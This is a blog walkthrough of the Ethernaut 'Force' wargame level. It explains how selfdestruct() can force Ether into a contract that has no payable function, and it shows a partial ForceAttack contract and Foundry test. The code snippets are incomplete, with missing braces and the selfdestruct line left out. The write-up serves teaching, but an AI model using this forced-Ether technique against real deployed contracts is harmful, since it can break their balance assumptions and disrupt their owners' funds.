Ethereum x Foundry - 0x7 Force

Ethereum x Foundry - 0x7 Force

Eval's photo
·Mar 23, 2022·

2 min read


This level introduces us to the following concept(s):

  • The magic of theselfdestruct() function ✨

GitHub Repository available at: github.com/0xEval/ethernaut-x-foundry


To complete the challenge, we will need to:

  • Make the balance of the contract greater than zero.

Contract Analysis

The contract contains a remarkable ASCII cat, and ... nothing else!

contract Force {
                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /

Since the contract does not have any payable function, it should revert any ether transaction we throw at it.

Contracts that receive Ether directly (without a function call, i.e. using send or transfer) but do not define a receive Ether function or a payable fallback function throw an exception, sending back the Ether (this was different before Solidity v0.4.0).


The next paragraph in the docs reveal there are two other ways in which our contract can actually receive Ether:

1- Miner block rewards aka. coinbase transactions 2- Being the recipient of a selfdestruct() function!

The self-destruct function is the only way to "delete" a contract from the blockchain. In truth, the code will remain stored forever, but the contract state is indefinitely marked as "suicided/self-destructed" in the state trie.

Before getting marked, all remaining Ether in the contract's balance will be sent to a designated address. This is what we will use to complete the challenge.

💡 Recommended reads:

Attacking The Contract

Make sure to read through Part 0 for setup instructions.

Create the Force.t.sol test file in the test/ directory that will contain the attack logic (level setup and submission is truncated for clarity):

This attack requires us to deploy an intermediate contract that we will destroy:

contract ForceAttack {
    Force force;

    constructor(Force _force) {
        force = _force;

    function attack() public payable {
        address payable sendTo = payable(address(force));

We just need to send Ether to ForceAttack which will in turn self-destruct and send its funds to Force.

function testForceHack() public {

    ForceAttack attackContract = new ForceAttack(forceContract);
    attackContract.attack{value: 1 ether}();

    assertEq(address(forceContract).balance, 1 ether)

Run the attack using the forge test subcommand:


Share this